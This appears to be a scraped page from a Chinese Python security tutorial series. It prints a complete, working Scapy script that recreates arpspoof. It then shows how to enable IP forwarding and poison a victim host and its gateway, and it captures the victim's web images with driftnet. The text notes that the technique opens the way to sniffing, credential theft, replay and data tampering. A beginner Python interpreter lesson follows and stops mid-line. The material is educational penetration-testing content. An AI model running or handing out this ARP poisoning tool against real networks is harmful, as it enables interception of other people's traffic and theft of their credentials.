廣播欺騙,首先以太網數據包直接構造一個廣播包,ARP包不用填寫目標主機的信息即可。
下面是ARP廣播響應包的構造方式:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
最后綜合定下和廣播欺騙的方式,我們總結一個公式出來:
pkt = Ether(src=攻擊機MAC, dst=被欺騙主機(或網關)MAC) / ARP((hwsrc=毒化記錄中的MAC, 毒化記錄中的IP, hwdst=被欺騙主機MAC, pdst=被欺騙主機IP地址, op=1(或2))
概念有點繞,實踐出真知。
3.1.4 發送數據包
數據包構造完成之后,我們要做的就是發送了,發送數據包這里我們使用sendp方法,該方法描述如下:
? ? Send packets at layer 2
? ? sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None
和sendp方法類似的還有一個send方法,兩個方法不同的是,sendp方法工作在第二層,send方法工作在第三層。發送構造好的數據包就很簡單了:
? sendp(pkt, inter=2, iface=網卡)
3.1.5 打造你的ARPSPOOF
ARP欺騙的核心內容我們已經講完了,在Kali Linux上有一款常用的ARP欺騙工具叫arpspoof。
圖9
(關于arpspoof的使用可以參考我的視頻教程《kali linux 滲透測試初級教程》,文末有獲取方法。)
雖然我們不知道arpspoof的內部實現代碼,但是我們完全可以根據目前掌握的知識,用Python來實現它。廢話少說,先上代碼:
#!/usr/bin/python
import os
import sys
import signal
from scapy.all import (
? ? get_if_hwaddr,
? ? getmacbyip,
? ? ARP,
? ? Ether,
? ? sendp
)
from optparse import OptionParser
def main():
? ? try:
? ? ? ? if os.geteuid() != 0:
? ? ? ? ? ? print "[-] Run me as root"
? ? ? ? ? ? sys.exit(1)
? ? except Exception,msg:
? ? ? ? print msg
? ? usage = 'Usage: %prog [-i interface] [-t target] host'
? ? parser = OptionParser(usage)
? ? parser.add_option('-i', dest='interface', help='Specify the interface to use')
? ? parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
? ? parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
? ? parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
? ? (options, args) = parser.parse_args()
? ? if len(args) != 1 or options.interface is None:
? ? ? ? parser.print_help()
? ? ? ? sys.exit(0)
? ? mac = get_if_hwaddr(options.interface)
? ? def build_req():
? ? ? ? if options.target is None:
? ? ? ? ? ? pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
? ? ? ? elif options.target:
? ? ? ? ? ? target_mac = getmacbyip(options.target)
? ? ? ? ? ? if target_mac is None:
? ? ? ? ? ? ? ? print "[-] Error: Could not resolve targets MAC address"
? ? ? ? ? ? ? ? sys.exit(1)
? ? ? ? ? ? pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
? ? ? ? return pkt
? ? def build_rep():
? ? ? ? if options.target is None:
? ? ? ? ? ? pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
? ? ? ? elif options.target:
? ? ? ? ? ? target_mac = getmacbyip(options.target)
? ? ? ? ? ? if target_mac is None:
? ? ? ? ? ? ? ? print "[-] Error: Could not resolve targets MAC address"
? ? ? ? ? ? ? ? sys.exit(1)
? ? ? ? ? ? pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)
? ? ? ? return pkt
? ? ?if options.mode == 'req':
? ? ? ? pkt = build_req()
? ? elif options.mode == 'rep':
? ? ? ? pkt = build_rep()
? ? if options.summary is True:
? ? ? ? pkt.show()
? ? ? ? ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
? ? ? ? if ans == 'y' or len(ans) == 0:
? ? ? ? ? ? pass
? ? ? ? else:
? ? ? ? ? ? sys.exit(0)
? ? while True:
? ? ? ? sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
? ? main()
代碼略微有一點多,不過核心內容沒有離開我們上面講到的內容,現在做個分解。
? ?usage = 'Usage: %prog [-i interface] [-t target] host'
? ? parser = OptionParser(usage)
? ? parser.add_option('-i', dest='interface', help='Specify the interface to use')
? ? parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
? ? parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
? ? parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
? ? (options, args) = parser.parse_args()
? ? if len(args) != 1 or options.interface is None:
? ? ? ? parser.print_help()
? ? ? ? sys.exit(0)
首先,我們引入了optparse模塊,用來格式化用戶輸入的參數,如果用戶輸入參數不正確,會打印使用說明。
圖10
下面調用了get_if_hwaddr方法,根據參數中傳入的網卡,獲取本機MAC地址,該MAC地址在構建以太網和ARP數據包的時候做為攻擊機的MAC地址被使用。
接下來是build_req方法,和build_rep方法,分別用來構建ARP請求和響應包。兩個方法會檢查是否指定了目標地址,如果沒有就是廣播欺騙,如果有就是定下欺騙。兩個方法里面使用了getmacbyip方法來根據ip地址獲取目標主機的MAC地址。構建數據包的原理我們上面講的很清楚了,這里就不重復了。
再往下是根據輸入的參數,判斷應該構建的數據包類型,調用對應的方法。
if options.mode == 'req':
? ? ? ? pkt = build_req()
? ? elif options.mode == 'rep':
? ? ? ? pkt = build_rep()
? ? if options.summary is True:
? ? ? ? pkt.show()
? ? ? ? ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
? ? ? ? if ans == 'y' or len(ans) == 0:
? ? ? ? ? ? pass
? ? ? ? else:
? ? ? ? ? ? sys.exit(0)
最后是發送數據包和程序的入口。
? ?while True:
? ? ? ? sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
? ? main()
程序準備妥當,我們保存源碼,下面開始測試。
3.1.6 測試
在做ARP欺騙測試的時候,一定要先開啟本機的IP轉發功能,否則會失敗的。執行如下命令:
sysctl net.ipv4.ip_forward=1
圖11
下面我們打開終端,對192.168.1.18進行欺騙,告訴它網關為192.168.1.102所在的主機。
圖12
在打開一個終端,對網關進行欺騙,告訴網關,192.168.1.18對應的主機為192.168.1.102.
python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18
一段時間之后,我們發現,192.168.1.18的arp緩存發生了變化:
圖13
對比圖13和圖5我們知道arp毒化成功。下面我們來看一下能發捕獲到1.18的外網請求信息,使用常用的測試工具driftnet。
圖14
下面在1.18上隨便打開幾個帶有圖片的網頁。
圖15
在drifnet上面我們可以看到捕獲的圖片信息,如圖16所示。
圖16
證明我們的arp欺騙程序編寫成功。
3.1.7 在此基礎上我們能做什么
上面的測試,我們知道基于ARP欺騙我們可以做數據監聽,能拿到敏感信息,能拿到憑證進行重放攻擊,能進行數據篡改,結合調用和DNS欺騙做很多事情。
關于進一步的實戰利用,這里我就不展開了,在我的視頻教程《Kali Linux web滲透測試基礎教程》的第十四課《第14課-arp欺騙、嗅探、dns欺騙、session劫持》講了很多實用的工具,可以在ARP欺騙的基礎上做很多測試。只要在玄魂工作室的微信訂閱號(在下方掃碼關注)下回復“kali”,會自動回復你免費獲取整套教程的方法。
3.1.8 小結
本節比較詳細的講解了基于Scapy進行ARP數據包構建和發送的基礎知識,綜合這些基礎進行ARP欺騙的工具編寫,最終完成了一個可用的ARP欺騙工具。
下一節,基于本節的知識,我們編寫一個ARP監控工具,來對網絡上主機的ARP請求做動態的回應。
========
入門
http://www.kancloud.cn/wizardforcel/py-sec-tutorial/121713這將是第一個一系列關于python編程的博客文章。python是一門非常強大的語言,因為它有信息安全社區的支撐。這意味著很多工具都是由python編寫并且可以在腳本中調用很多模塊。使用模塊的好處就是只需要少量的代碼就能夠完成所需的任務。
這篇文章假定你的系統是Linux,python版本是2.*。在寫代碼的時候你也可以直接的寫在解釋器里面(linux里面輸入python即可進入),也可以把代碼放到一個文件里面。很多人會發現把代碼存放到文件里面要比直接寫在解釋器上面要好很多。值得注意的是python 中強制縮進。大家在寫函數聲明,循環,if/else語句等等的時候就會發現。
python解釋器
在終端里面輸入python:
~$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:56)?
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>?
輸入之后你就可以直接在解釋器里面寫你的代碼了。下面我們將聲明兩個變量,并且使用type()函數查看變量的類型。假設我們聲明了一個字符串和整型:
>>>
>>> ip = '8.8.8.8'
>>> port = 53
>>>
>>> type(ip)
<type 'str'>
>>>
>>> type(port)
<type 'int'>
>>>
你可以使用內置的help()函數去了解一個函數的詳細。記住這一點,它可以幫助你在學習語言的時候學習到更多的詳細內容.
>>>
>>> help(type)
>>>
有時你會想把一些變量和字符串連接起來然后通過腳本顯示出來。那么你就需要使用str()函數把整型轉換成字符串類型
>>> ip='1.1.1.1'
>>> port=55
>>> print 'the ip is:'+ip+'and the port is:'+str(port)
the ip is:1.1.1.1and the port is:55
前面聲明變量的時候"IP"就是一個字符串就不需要轉換,而"port"就需要?,F在你就已經知道了兩個基本的數據類型(string和integer)?,F在你可以試試使用內置函數與這兩個數據類型寫出其他的代碼。
Python字符串允許你通過偏移值來獲取你想需要的字符串,并且可以通過len()函數來獲取字符串的長度,它可以幫助你更方便的操作字符串。
>>>
>>> domain='primalsecurity.net'
>>> domain
'primalsecurity.net'
>>> domain[0]
'p'
>>> domain[0:3]
'pri'
>>> domain[1:]
'rimalsecurity.net'
>>> len(domain)
18
你可以使用內建的dir()函數來列出模塊定義的標識符。標識符有函數、類和變量。
>>> dir(ip)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
現在你可以使用上面列舉出來的內建字符串函數,如果想知道這個函數的更多描述可以參考前面提到的help()函數:
>>>
>>> help(ip.split)
>>>
>>> string = ip+':'+str(port)
>>> string
'8.8.8.8:53'
>>>
>>> string.split(':')
['8.8.8.8', '53']
這split函數把一個字符串通過":"切割生成一個新的列表。這是一個非常有用的字符串函數因為你能夠把這個字符串里面的有用信息提出出來。例如,你獲取到了一個ip列表,你想在這個列表里面添加一個索引值。你也可以刪除和添加新的值到這個列表里面通過.append()和.remove()函數
>>>
>>> list = string.split(':')
>>>
>>> list
['8.8.8.8', '53']
>>>
>>> list[0]
'8.8.8.8'
>>>
>>> list.append('google')
>>> list
['8.8.8.8', '53', 'google']
>>> list.remove('google')
>>> list
['8.8.8.8', '53']
&g
總結
以上是生活随笔為你收集整理的Python 安全编程学习总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: C++类和对象学习总结
- 下一篇: win32 DLL 学习总结